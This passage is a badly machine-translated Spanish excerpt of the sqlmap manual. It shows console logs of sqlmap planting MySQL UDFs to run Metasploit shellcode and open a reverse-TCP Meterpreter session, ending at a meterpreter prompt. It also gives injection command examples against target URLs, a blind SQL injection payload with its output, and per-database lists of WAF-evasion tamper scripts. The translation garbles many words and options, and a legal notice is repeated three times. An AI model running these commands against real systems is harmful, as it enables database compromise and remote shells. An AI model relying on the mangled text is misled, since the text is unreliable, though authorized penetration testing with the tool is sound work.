[1] de 32 bits (por defecto)
[2] 64-bit
>
[Hh: mm: 33] Verificando 'sys_bineval' ya existe [INFO] UDF
[Hh: mm: 33] comprobar si ya existe [INFO] UDF 'sys_exec'
[Hh: mm: 33] [INFO] deteccin de back-end versin DBMS de su bandera
[Hh: mm: 33] [INFO] recuperar directorio base de MySQL ruta absoluta
[Hh: mm: 34] la creacin del archivo UDF [INFO] UDF 'sys_bineval' binario
[Hh: mm: 34] [INFO] crear UDF 'sys_exec' desde el archivo UDF binaria
cmo quieres para ejecutar el cdigo shell Metasploit en el und de base de
datos back-end
erlying sistema operativo?
[1] A travs de UDF 'sys_bineval' (forma en la memoria, los anti-forense, por
defecto)
[2] Stand-alone servidor de ensayo de carga til (archivo de forma de sistema)
>
[Hh: mm: 35] [INFO] la creacin de Metasploit Framework cdigo shell de etapas
mltiples
qu tipo de conexin es lo que desea utilizar?
[1] TCP inversa: Conectar de nuevo desde el host de base de datos para esta
mquina (por defecto)
[2] TCP inversa: Intente volver a conectarse desde el host de base de datos para
esta mquina, en
todos los puertos
entre el especificado y 65535
[3] enlazar TCP: Escucha en el host de base de datos para una conexin
>
que es la direccin local? [192.168.136.1]
qu nmero de puerto local es lo que desea utilizar? [60641]
el que la carga til es lo que desea utilizar?
[1] Meterpreter (por defecto)
[2] Shell
[3] VNC
>
[Hh: mm: 40] [INFO] creacin en el progreso hecho ...
[Hh: mm: 43] [INFO] ejecuta la interfaz de lnea de comandos Metasploit
Framework localmente, p
arrendamiento de espera ..
_
| | o
_ _ _ _ _ | _ __, _ | | __ _ | _
/ | / | / | | / | / | / \ _ | / \ _ | / / \ _ | |
| | | _ / | __ / | _ / \ _ / | _ / \ / | __ / | __ / \ __ / | _ / | _ /
/ |
\ |
meterpreter> exit
General
Estas opciones se pueden utilizar para establecer algunos parmetros generales
de trabajo.
Ejemplo contra un objetivo Oracle afectado slo por inyeccin SQL ciega basada
en booleana:
$ Python sqlmap.py -u "http:? //192.168.136.131/sqlmap/oracle/get_int_bool.php
ID \
= 1 "-b --eta
[...]
[Hh: mm: 01] [INFO] el DBMS es Oracle
[Hh: mm: 01] [INFO] bandera ir a buscar
[Hh: mm: 01] [INFO] recuperar la longitud de salida de la consulta
[Hh: mm: 01] [INFO] recuperada: 64
17% [========>] 11/64 ETA doce y diecinueve
Entonces:
100% [=============================================== ====] 64/64
[Hh: mm: 53] [INFO] recuperado: Oracle Database 10g Enterprise Edition Release
10.2
.0.1.0 - Prod
[...]
[Xx: xx: 14] [INFO] bandera ir a buscar
[Xx: xx: 14] [CARGA] 1 Y = 5849 CAST ((CHR (58) || CHR (118) || CHR (116) || CHR
(106) || CHR
(58)) || (ENCODE (convert_to ((COALESCE (CAST (VERSION () como el personaje
(10000)), (CHR (32)
))), (CHR (85) || CHR (84) || CHR (70) || CHR (56))), (CHR (72) || CHR (69) ||
CHR (88)))) :: texto || (
CHR (58) || CHR (110) || CHR (120) || CHR (98) || CHR (58)) como numricos)
[Xx: xx: 15] [INFO] analiza el mensaje de error: "pg_query () [<a href =
'function.pg-consulta'
> Function.pg-consulta </a>]: Error en la consulta: ERROR: sintaxis de entrada
vlido para este tipo num
Eric: ": VTJ:
506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32: nxb: "en <b>
/var/www/sqlmap/libs/pgsql.inc.p
CV </ b> en la lnea <b> 35 </ b> '
[Xx: xx: 15] [INFO] recuperado: PostgreSQL 8.3.9 en i486-pc-linux-gnu, compilado
por
GCC GCC-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]
actualizacin sqlmap
Cambiar: --update
El uso de esta opcin puede actualizar la herramienta a la ltima versin de
desarrollo directamente desde el repositorio Git . Obviamente, se necesita
conexin a Internet.
Si, por cualquier razn, esta operacin falla, ejecuta git pull de su copia de
trabajo sqlmap. Se llevar a cabo la misma operacin del interruptor de --
update . Si est ejecutando sqlmap en Windows, puede utilizar el SmartGit cliente.
Esto es muy recomendable antes de informar sobre cualquier error a las listas de
correo .
Diverso
Utilice mnemotcnicos cortos
Opcin: -z
Podra llegar a ser tedioso para escribir todas las opciones e interruptores
deseados, especialmente para aquellos que se utilizan con mayor frecuencia (por
ejemplo --batch --random-agente --ignore-proxy = --technique BEA ). Hay una
manera ms simple y mucho ms breve cmo hacer frente a ese problema. En
sqlmap se llama "mnemnicos".
Cada opcin y el interruptor se pueden escribir en una forma mnemotcnica ms
corto utilizando la opcin -z , separados por una coma ( , ), donde mnemotcnicos
representan slo la primera parte arbitrariamente elegido del nombre original. No
hay ninguna asignacin estricta de opciones e interruptores a sus respectivos
homlogos acortados. nica condicin requerida es que no hay otra opcin ni
interruptor que tiene un mismo prefijo que el deseado.
Ejemplo:
$ Python sqlmap.py --batch --random-agente --ignore-proxy = --technique BEA -u
"ww \
w.target.com/vuln.php?id=1 "
se puede escribir (una de muchas maneras) en forma mnemotcnica ms corto,
como:
$ Python sqlmap.py -z "bat, randoma, IGN, tec = BEA" -u
"www.target.com/vuln.php~~V~~3rd? Id = \
1 "
Otro ejemplo:
$ Python sqlmap.py --ignore-proxy---flush sesin --technique = T --dump -D testd
\
b usuarios -T -u "www.target.com/vuln.php?id=1"
puede escribirse de forma ms corta mnemotcnica como:
$ Python sqlmap.py -z "IGN, la gripe, el palo, tec = T, descarga, D = testdb, T
= users" -u www.target ". \
com / vuln.php? id = 1 "
Interruptor: --skip-WAF
De forma predeterminada, sqlmap enva automticamente dentro de uno de
partida solicita un valor de parmetro ficticio que contiene una carga til de
inyeccin SQL "sospechosos" de manera deliberada (por ejemplo ... y foobar = Y
1 = 1 UNION ALL SELECT 1,2,3, nombre_tabla WHERE DE INFORMATION_SCHEMA.TABLES 2>
1 ). Si el objetivo responde de manera diferente que para la solicitud original, hay
una alta posibilidad de que est bajo algn tipo de proteccin. En caso de
cualquier problema, el usuario puede desactivar este mecanismo, proporcionando
interruptor --skip-WAF .
Ejemplo de ejecucin:
$ Python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
el cual su smartphone es lo que desea sqlmap imitar a travs de HTTP cabecera
User-Agent?
[1] Apple iPhone 4s (por defecto)
[2] BlackBerry 9900
[3] Nexus 7 Google
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]
[!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo
consentimiento es ilegal. Es responsabilidad del usuario final a obedecer todas
las leyes
locales, estatales y las leyes federales. Los desarrolladores no asumen ninguna
responsabilidad y no son respon
sable de cualquier mal uso o dao causado por este programa
[!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo
consentimiento es ilegal. Es responsabilidad del usuario final a obedecer todas
las leyes
locales, estatales y las leyes federales. Los desarrolladores no asumen ninguna
responsabilidad y no son respon
sable de cualquier mal uso o dao causado por este programa
[!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo
consentimiento es ilegal. Es responsabilidad del usuario final a obedecer todas
las leyes
locales, estatales y las leyes federales. Los desarrolladores no asumen ninguna
responsabilidad y no son respon
sable de cualquier mal uso o dao causado por este programa
MySQL
space2randomblank,
unionalltounion
unmagicquotes
versionedkeywords
versionedmorekeywords
xforwardedforbetween
bluecoat
charencode
charunicodeencode
concat2concatws
equaltolike
greatest
halfversionedmorekeywords
ifnull2ifisnull
space2morehash
space2mysqldash
space2plus
modsecurityversioned
modsecurityzeroversioned
multiplespaces
securesphere
space2comment
space2hash
nonrecursivereplacement
percentage
randomcase
MSSQL:
sp_password
space2comment
space2dash
space2mssqlblank
space2mysqldash
space2plus
space2randomblank
charencode
charunicodeencode
equaltolike
greatest
unionalltounion
unmagicquotes
multiplespaces
nonrecursivereplacement
percentage
randomcase
securesphere
MSAccess:
modsecurityversioned
modsecurityzeroversioned
equaltolike
greatest
halfversionedmorekeywords
nonrecursivereplacement
percentage
randomcase
securesphere
between
bluecoat
charencode
charunicodeencode
concat2concatws
space2comment
space2hash
space2morehash
space2mysqldash
space2plus
space2randomblank
unionalltounion
unmagicquotes
versionedkeywords
versionedmorekeywords
ifnull2ifisnull
multiplespaces
PostgreSQL:
xforwardedfor
space2comment
space2plus
space2randomblank
between
charencode
charunicodeencode
equaltolike
greatest
multiplespaces
nonrecursivereplacement
percentage
randomcase
securesphere
between
SQLite:
space2plus
unionalltounion
unmagicquotes
xforwardedfor
ifnull2ifisnull
randomcase
securesphere
space2comment
space2dashmmultiplespaces
nonrecursivereplacement